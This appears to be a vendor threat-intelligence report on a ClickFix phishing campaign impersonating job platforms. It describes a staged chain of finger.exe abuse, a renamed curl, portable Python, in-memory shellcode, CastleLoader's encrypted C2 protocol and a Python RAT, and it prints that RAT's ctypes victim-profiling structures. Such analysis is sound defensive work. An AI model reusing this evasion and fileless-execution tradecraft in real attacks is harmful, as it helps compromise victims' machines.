ClickFix Is Now Hiring: From Job Platform Impersonation to Python-Based RAT Delivery

The LevelBlue OpsIntel CTI team examined the latest version of the ClickFix campaign, which emerged in early May 2026. The campaign employs a multi-stage phishing delivery chain that impersonates trusted employment and professional networking platforms, such as LinkedIn and Indeed, to lure victims. This variant leverages the legacy Finger protocol through native Windows command-line utilities as part of its delivery process. The threat actors use legitimate Windows tools and portable Python runtimes to execute in-memory shellcode, ultimately deploying a fileless Malware-as-a-Service (MaaS) framework tracked as CastleLoader and a Python-based remote access trojan (RAT). The campaign reflects the continued rise of browser-based social engineering with Living-off-the-Land binaries (LOLBin) and Python-based payload delivery.

Stage 1: Initial Phishing Page

The attack chain begins with phishing URLs hosted on typosquatted domains impersonating legitimate job and professional networking platforms such as LinkedIn and Indeed. These URLs include multiple Google Ads tracking parameters such as gclid, gbraid, and gad_campaignid, indicating that the infrastructure was distributed through paid advertising or ad-tracking ecosystems.

Figure 1. FakeCaptcha Cloudflare Turnstile page impersonating LinkedIn.

In addition to standard advertising identifiers, the URLs contain a custom parameter that appears to influence server-side behavior:

Analysis reveals that the malicious infrastructure only requires this parameter to proceed with the ClickFix infection chain.

Stage 2: Landing Page

Upon inspection of the phishing URL, the landing page retrieves a second-stage payload from a separate .php endpoint. Embedded JavaScript dynamically fetches remote content from this endpoint, applies ROT13 to decode the response, and then injects the output into the Document Object Model (DOM) at runtime.

Figure 2. Retrieval of second-stage payload via ROT13.

Stage 3: ClickFix

When the user interacts with the fake CAPTCHA box, a payload gets copied to the clipboard via the classic document.execCommand(“copy”) method. The payload in the clipboard decodes to the following command:

Figure 3. Decoded payload from FingerFix.

The initial payload is executed using a command that invokes cmd.exe with a minimized window and uses process output from the caret-obfuscated finger utility. The resolved output is then executed as a command stream.

The image below compares the two observed variants of the ClickFix batch payload. Despite differences in tooling and runtime selection, both variants follow the same overall execution chain, including LOLBin abuse, portable Python runtime deployment, staged payload retrieval, and in-memory execution of the next-stage malware payload.

Figure 4. Variants of ClickFix payload.

System Disruption

Both scripts kills and restarts explorer.exe, which reduces user navigation options by hiding the taskbar and desktop icons:

Curl Hijacking

The malware generates a randomized filename under %LocalAppData% directory and assigns it as a disguised executable path (e.g. 1006326830900030409.com or 1006326830900030409.exe):

Next, this file is then used as a renamed copy of the legitimate Windows curl.exe binary.

This renamed curl.exe will be used to establish outbound communication on the same phishing domain, but with a different URL endpoint:

Figure 5. Invokes clipboard manipulation via Set-Clipboard.

Portable Python Runtime Deployment

The script also defines a secondary staging directory used to deploy one of two portable Python runtimes. This directory is also created under %LocalAppData% and mimics a legitimate Python installation structure, depending on the runtime variant being used (embedded CPython or IronPython):

Finally, the renamed curl.exe binary is used again to download a legitimate Python runtime archive from trusted upstream sources. This step differs slightly depending on the variant in use, but both follow the same pattern of abusing legitimate software distribution channels for payload staging.

After downloading, both payloads rely on Windows’ built-in tar.exe to extract the archive:

Once extracted, both variants rename the Python interpreter to randomized filenames:

Lastly, the renamed Python interpreter will be used to execute inline Python code. The embedded Python performs the following operations:

• decodes a compressed payload blob
• launches a secondary Python process using subprocess.Popen()
• In other variants, it suppresses visible windows using CREATE_NO_WINDOW

The resulting decompressed payload reveals behavior consistent with secondary-stage command-and-control (C2) activity. It initiates outbound connections to retrieve additional payloads from infrastructure using two UUID-based URL patterns.

Figure 6. Decoded Python loader script.

Stage 4: Shellcode Analysis

The payload downloaded by the renamed Python interpreter is another Python script that performs a Cyrillic substitution operation. Prior to Base64 decoding, the script replaces specific Cyrillic characters with their Latin equivalents:

Figure 7. Cyrillic-substitution obfuscation in the Python script.

After substituting and decoding the Base64 blobs, this Python script implements a classic fileless shellcode, using Base64 encoding, XOR decryption, and direct Windows API calls via ctypes to execute payloads entirely in memory.

Figure 8. Decoded script containing in-memory shellcode execution operation.

The decrypted shellcode is then copied into the allocated memory buffer, which performs another outbound connection:

Stage 5: CastleLoader

The first 64 bytes of the downloaded blob are treated as the RC4 key, while the remaining bytes contain the encrypted second-stage shellcode. This will be loaded in the memory of the same host python interpreter.

Figure 9. Download operation for the next RC4 encoded shellcode.

The decrypted payload is CastleLoader, a MaaS framework designed for flexible malware deployment. During initialization, it decrypts its configuration in heap memory. The configuration contains C2 parameters and behavioral flags used throughout execution. Below is the sample decoded configuration:

Apart from the malware's initial GET request, all C2 communication is encrypted via the symmetric ChaCha algorithm. After decryption, the C2 protocol uses a serialized custom data structure, internally referred to as container, which can store values of different types.

Settings Container

For the initial configuration fetch, the malware issues a GET request to a hardcoded base URL, appending the campaign UUID directly to the path. Below is the sample response from the C2 server:

Figure 10. Encrypted settings container.

The C2 response decrypts into a settings block. At the root of the serialized data structure, the settings block contains flags that control CastleLoader behavior:

Figure 11. Decrypted settings container.

Task Container

Next, it retrieves another configuration setup from the server. In this stage, the campaign UUID is no longer appended to the URL. Instead, the loader contacts only the base endpoint and transmits encrypted data within the HTTP POST request body:

Figure 12. Encrypted tasks container.

The loader issues a get_tasks request to its C2 server using generated identifiers of the infected host (access_key, campaign_identifier, machine_id and build_version), along with system profiling data (username, computer_name, domain_name, windows_version, arch, active_av and active_list).

Figure 13. Decrypted get_tasks container.

The C2 server also sends a separate task container that can be decoded using the same hardcoded ChaCha20 key/nonce pair.

Figure 14. Decrypted tasks container containing the configuration data of CastleLoader.

The tasks container parameters are identical with observations previously reported in a Huntress blog covering a similar CastleLoader campaign. Following the completion of task execution, the malware sends another encrypted payload to the C2 server within the body of an HTTP POST request.

Figure 15. Encrypted post-execution status reporting.

The bot issues send_execution_status and send_finished_status messages to report task execution results back to the C2 infrastructure. Aside from the previously generated identifiers of the infected host, these status messages introduce three additional fields specific to execution reporting:

• task_id - identifies the associated task

• is_success - a boolean indicating execution outcome

• error_code - an integer used to report failure conditions

Figure 16. Decrypted post-execution status response.

The next infection stage relies on configuration data previously decrypted by CastleLoader. Using task-specific parameters received from the C2 server, the loader retrieves the next-stage payload from unique endpoint paths, including:

The retrieved payload is stored as a large, encrypted blob and subsequently decrypted using the RC4 key supplied earlier in the CastleLoader task configuration:

Figure 17. RC4-encrypted payload downloaded from a URL specified in the CastleLoader configuration data.

After decryption, the buffer resolves with a ZIP archive containing the resources of the final payload. The loader then prepares another staging directory under %ProgramData%. During pivoting investigation, the malware uses one of the following as its folder name:

Figure 18. In-memory decryption of staging files.

The malware utilizes CPython, which is one of the most widely used reference implementations of the Python programming language. CPython compiles human-readable Python code into intermediate bytecode (.pyc files). That bytecode is then interpreted and executed by the CPython virtual machine.

Figure 19. Execution of Python’s ctypes module.

In this case, the bytecode file is another in-memory loader that uses the Windows ctypes interface to execute shellcode received from a local named pipe.

Figure 20. Source-code snippet of the bytecode file.

Stage 6: Python-based RAT

The main objective of CastleLoader is to deliver secondary malicious payloads, including remote access trojans or information-stealing malware. In this case, it is used to deliver a Python-based RAT designed for persistence, remote control, payload delivery, in-memory malware execution, and post-exploitation activity.

An open-source tool named pycdc was used to restore the compiled bytecode back into Python source code. The decompiled output also exposes build-time artifacts, including the original development path (C:\Bot\projects\LOADER\PS_PythonLOADER\Interpretator).

Below is a sample of the recovered output:

Figure 21. Restored Python script revealing the configuration parameters.

Figure 22. Core RAT functionalities.

Configuration and Global Constants

The following constants define the loader’s runtime configuration, cryptographic obfuscation behavior, and C2 targeting logic:

Victim Profiling and Host Enumeration

Once the configuration is initialized, the malware collects host-level metadata to uniquely identify the infected system. This information is packaged into structured objects named BOT_INFO and transmitted to the C2 server as part of the registration phase.

class BOT_INFO(Structure):
        _fields_ = [
                ("iselevated", c_uint32),
                ("OS", c_wchar * 64),
                ("pcname", c_wchar * MAX_PATH),
                ("username", c_wchar * MAX_PATH),
                ("domainname", c_wchar * MAX_PATH),
                ("hwid", c_wchar * 64),
                ("build_name", c_wchar * 32)
       ]

This structure ensures that each infected endpoint is uniquely fingerprinted using both system-level identifiers and runtime context data.

In addition to system profiling, the loader defines a second structured object named FILE_INFO responsible for describing remote execution tasks and payload delivery instructions.

class FILE_INFO(Structure):
    _fields_ = [
        ("FPS", c_wchar * MAX_PATH),
        ("FPC", c_wchar * MAX_PATH),
        ("type_", c_uint32),
        ("EP", c_wchar * 32),
        ("TASK_ID", c_uint64)
    ]

WebSocket Communication

After system profiling, the loader initiates a secure communication channel with the C2 server using WinHTTP APIs. The connection is first established as an HTTPS session and then upgraded to a WebSocket channel. During this process, TLS validation checks are intentionally weakened, allowing acceptance of invalid or attacker-controlled certificates.

The communication layer is implemented through the following core routines:

Figure 23. Network activity from pythonw.exe.

Once the communication channel is established, the loader continuously receives C2 instructions. Incoming responses are evaluated based on integer-based opcodes that determine the execution path. These opcodes define whether the loader spawns a shell, executes a payload, or initiates persistence actions.

Interactive Shell Control

The loader supports remote command execution with various terminal opcodes. When an opcode is received, the malware spawns either cmd.exe or powershell.exe and redirects standard input/output streams through anonymous pipes.

Persistence Mechanism

To ensure long-term operation, the loader implements multiple persistence mechanisms including process watchdog behavior and mutex-based execution control.

Conclusion

ClickFix has become a household name over the years. As a proven social engineering threat, it still finds ways to evolve and succeed through the abuse of trusted user workflows and legitimate system utilities. The campaign begins with phishing infrastructure hosted on typosquatted networking domains impersonating platforms such as LinkedIn, where user interaction with FakeCAPTCHA prompts initiates the infection chain. This is usually followed by multi-stage execution using native Windows utilities. In this case, it abuses the Finger protocol.

ClickFix will continue to rely on LOLBins while incorporating more legitimate system applications and utilities such as portable Python runtimes to blend in with normal endpoint behavior. This enables the execution of fileless malicious payloads throughout the infection chain to reduce their overall footprint.

The infection chain ultimately culminates in the deployment of CastleLoader, a multi-stage loader responsible for configuration retrieval, task execution, and encrypted communication with the C2 infrastructure using ChaCha20 and RC4-based mechanisms. CastleLoader subsequently delivers a Python-based remote access trojan that enables operator control through WebSocket-based C2 communication, in-memory execution, and modular task handling capabilities.

Defending against ClickFix and similar social engineering campaigns requires a layered approach:

• User awareness training should specifically cover ClickFix lures, fake CAPTCHA prompts, phishing, SEO poisoning, and typosquatting. Users who recognize these patterns are significantly harder to compromise.
• Disable the Windows Run dialog (Win+R) to reduce ClickFix-style attacks, which rely on users being tricked into pasting and executing malicious commands via common Windows shortcuts and system menus.
• Block outbound TCP port 79 at the network egress layer. finger.exe relies on the Finger protocol over port 79, and legitimate Finger traffic is virtually nonexistent in modern Windows environments.
• Restrict portable and interpreted runtimes such as Python in non-standard or user-writable paths. Limit the abuse of native Windows utilities through application control policies.
• Monitor for LOLBin abuse and fileless execution patterns. Unusual invocations of native utilities and in-memory execution should trigger immediate investigation.
• Deploy a robust EDR solution. LevelBlue's Managed Detection and Response services provide the endpoint visibility and threat intelligence integration needed to detect and interrupt multi-stage execution chains before they reach their final payload.
  
  

Indicators of Compromise